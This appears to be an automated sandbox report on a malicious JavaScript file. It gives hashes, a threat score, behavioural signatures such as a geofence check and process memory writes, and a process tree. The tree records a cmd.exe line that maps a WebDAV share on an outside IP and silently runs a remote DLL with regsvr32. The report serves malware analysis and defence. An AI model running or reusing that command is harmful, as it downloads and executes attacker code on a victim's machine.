Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/07/2024, 13:51

General

  • Target

    102563788170921094.js

  • Size

    4KB

  • MD5

    b525ddec0d4188aa1616850b1c203dc8

  • SHA1

    f7c699fff9d83318bcc108eca3acb576f0bd1063

  • SHA256

    9c92941e049803b311a82a1b0ff28780d396dca39682817e7e1af2d8ca65ac56

  • SHA512

    ad35518b5ccbeb3a58e67b4f7fdda30e41a4e4db9b89611506f64615273173508392d2ba1e35c568575e4dee5d15facba34c90288ea7743b2f76b8f72a3f4f0a

  • SSDEEP

    48:J2t9V2HLbQ+DPEMCL70lfQ1H5ZqTBl+OxDx+9QKoXAr3Dhhhb0e62FAkhE2T/y5s:kt728MCsFUDhdrFAkPTa+drFvT

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\102563788170921094.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4480
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\883141611408.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3020
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:696

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads